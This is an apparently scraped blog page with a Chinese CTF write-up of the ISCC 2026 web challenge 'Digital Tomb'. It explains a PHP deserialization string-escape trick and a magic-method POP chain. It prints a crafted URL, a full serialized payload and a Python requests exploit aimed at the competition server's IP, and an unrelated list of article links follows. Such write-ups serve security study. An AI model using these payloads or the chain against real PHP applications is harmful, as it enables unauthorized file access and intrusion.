当前位置: 首页 > news >正文

【2026】ISCC 数字古墓

数字古墓 · Digital Tomb

题目类型:web

考点:PHP 反序列化注入、字符串替换绕过、魔术方法 POP 链调用

根据题意的话,要按顺序做,但第一阶段无法点击,可以通过查看源码找到地址:rune_trial.php

第一关:

目标文件:W3f82KD9.txt

平台:39.105.213.28:10026

访问进了39.105.213.29:10026/rune_trial.php

y=admin123,就可以输出第二关文件名。

关键代码:

$key = "bnhpjowd"; for ($j = 0; $j < strlen($key); $j++) { $search .= chr(ord($key[$j]) - 1); } $replace = 'iscc'; str_replace($search, $replace, $i);

计算search真实字符串

b -1 = a n -1 = m h -1 = g p -1 = o j -1 = i o -1 = n w -1 = v d -1 = c

可以得到amgoinvc序列化后iscc

替换后反序列化,触发__wakeup

构造字符串

amgoinvc变为iscc 8字节变为4字节,序列化少了4字节,构成php反序列化字符串逃逸漏洞。

如果内容实际长度<标记长度,php会继续向后吞吃字符,直到凑够长度

于是p = ";s:1:“y”;s:8:"admin123这个构造是16字节,也就是d我要构造32字节。

于是d=amgoinvcamgoinvcamgoinvcamgoinvc(32字节)

构造这个

http://39.105.213.28:10026/rune_trial.php?d=amgoinvcamgoinvcamgoinvcamgoinvc&p=%22%3Bs%3A1%3A%22y%22%3Bs%3A8%3A%22admin123

得到:W3f82KD9.txt

第二关:

[39.105.213.28:10026/mechanism_chamber.php]

关键代码:

GateSentinel类先触发->Keystone 类->RitualEngine 类


触发顺序:

1. 反序列化 GateSentinel ↓ 自动触发 __wakeup() 2. __wakeup() 里执行 preg_match($this->object) ↓ 把 $object 当成字符串处理 3. 触发 __toString() ↓ 4. 执行 $this->tool['blade']->object ↓ 访问不存在的属性 5. 触发 Keystone::__get() ↓ 6. __get() 调用 $this->center() ↓ 7. 触发 RitualEngine::__invoke() ↓ 8. 反序列化 callback,得到 [对象, "view"] ↓ 9. 映射为 run() 方法并执行 ↓ 10. 读取 $target 中的 W3f82KD9.txt → 通关!

POP链构造:

构造 RitualEngine

$e = new RitualEngine(); $e->target = "W3f82KD9.txt"; $e->callback = 数组: [ $e, "view" ];

构造 Keystone

$k = new Keystone(); $k->center = $e;

构造内层 GateSentinel

$g_inner = new GateSentinel(); $g_inner->tool['blade'] = $k;

构造外层 GateSentinel

$g_outer = new GateSentinel(); $g_outer->object = $g_inner;

序列化外层最终得到payload

echo serialize($g_outer);

即:

O:12:"GateSentinel":2:{s:6:"object";O:12:"GateSentinel":2:{s:6:"object";N;s:4:"tool";a:1:{s:5:"blade";O:8:"Keystone":1:{s:6:"center";O:12:"RitualEngine":3:{s:11:"*settings";N;s:6:"target";s:12:"W3f82KD9.txt";s:8:"callback";a:2:{i:0;O:12:"RitualEngine":3:{s:11:"*settings";N;s:6:"target";s:12:"W3f82KD9.txt";s:8:"callback";N;}i:1;s:4:"view";}}}}}s:4:"tool";N;}

EXP:

import requests # 第二关目标URL url = "http://39.105.213.28:10026/mechanism_chamber.php" payload = """O:12:"GateSentinel":2:{s:6:"object";O:12:"GateSentinel":2:{s:6:"object";N;s:4:"tool";a:1:{s:5:"blade";O:8:"Keystone":1:{s:6:"center";O:12:"RitualEngine":3:{s:11:"*settings";N;s:6:"target";s:12:"W3f82KD9.txt";s:8:"callback";a:2:{i:0;O:12:"RitualEngine":3:{s:11:"*settings";N;s:6:"target";s:12:"W3f82KD9.txt";s:8:"callback";N;}i:1;s:4:"view";}}}}}s:4:"tool";N;}""" # 发送POST请求 data = { "data": payload } response = requests.post(url=url, data=data) # 输出结果 print("=" * 50) print("第二关 执行结果") print("=" * 50) print(response.text)
http://www.gsyq.cn/news/1333637.html

相关文章:

  • ARM多核原子同步实战:从LDADD指令到RTOS锁调试
  • Verilog/SystemVerilog初始化陷阱:仿真与硬件差异解析
  • 别再手动整理文献了!用Python+Semantic Scholar API,5分钟搞定论文参考文献列表
  • 告别OTA升级烦恼:一份给高通平台开发者的A/B分区配置与避坑指南(Android 12/13实测)
  • Java WebSocket六种集成方案详解:从JSR 356到Spring生态实战
  • 基于CMS8S6990评估板实现高精度电压电流测量:从血氧仪到通用测量工具的移植实践
  • 从VOC到YOLO:用Labelimg标注后,一键转换数据格式的完整避坑指南
  • 东台市储能电池箱厂家实力排行 硬核资质与实绩对比 - 奔跑123
  • 光伏PLC与储能BMS数据通信物联网解决方案
  • DeepSeek V4技术解码:100万token上下文背后的工程奇迹
  • 基于伪造发票的 PayPal 钓鱼攻击机理与防御技术研究
  • 告别双系统!用VMware在Win11打造你的专属Linux开发环境(Ubuntu 22.04 + 共享文件夹 + 快照管理)
  • 宽输入电压升压控制器LM5121:峰值电流模式与外围电路设计实战
  • MCUXpresso工具集革新:从封闭IDE到开放生态的嵌入式开发新范式
  • 60、CAN总线PCB布线中的滤波电容去耦网络设计
  • 【Perplexity名言警句搜索实战指南】:20年AI搜索专家亲授3大隐性语法技巧,97%用户从未用过的精准检索公式
  • 为什么顶尖数学期刊作者都在用Perplexity查引理?揭秘6个未公开的语义锚定技巧,3分钟定位原始文献出处
  • Tina Linux syslog实战指南:从架构解析到嵌入式日志管理优化
  • 终极指南:使用wxappUnpacker深度解析微信小程序架构
  • 认知智能模型:AI从“说话”到“思考”的跃迁 ——意图共鸣的品牌理念
  • Perplexity市场份额逆势增长22.6%的背后:3个未被报道的垂直场景落地案例(含医疗/法律领域真实POC数据)
  • 基于RK3568的嵌入式AI主机开发实战:从模型部署到工业应用
  • 联发科MT6873核心板:5G安卓设备开发实战与硬件设计指南
  • 树莓派CM4兼容核心板定制:从硬件设计到软件迁移的完整指南
  • Soundflower:解锁Mac音频路由魔力的开源神器
  • 5分钟从零到视频:Pixelle-Video如何用AI原子能力组合颠覆传统创作流程
  • 使用Taotoken聚合API后,模型响应延迟与稳定性在实际项目中的体感观察
  • ComfyUI-Impact-Pack V8:专业级图像增强与语义分割的终极指南
  • 2026 年 RSA 大会:多家初创公司填补 AI 打破安全边界后的空白
  • 慢病精准管控,筑牢老人健康防线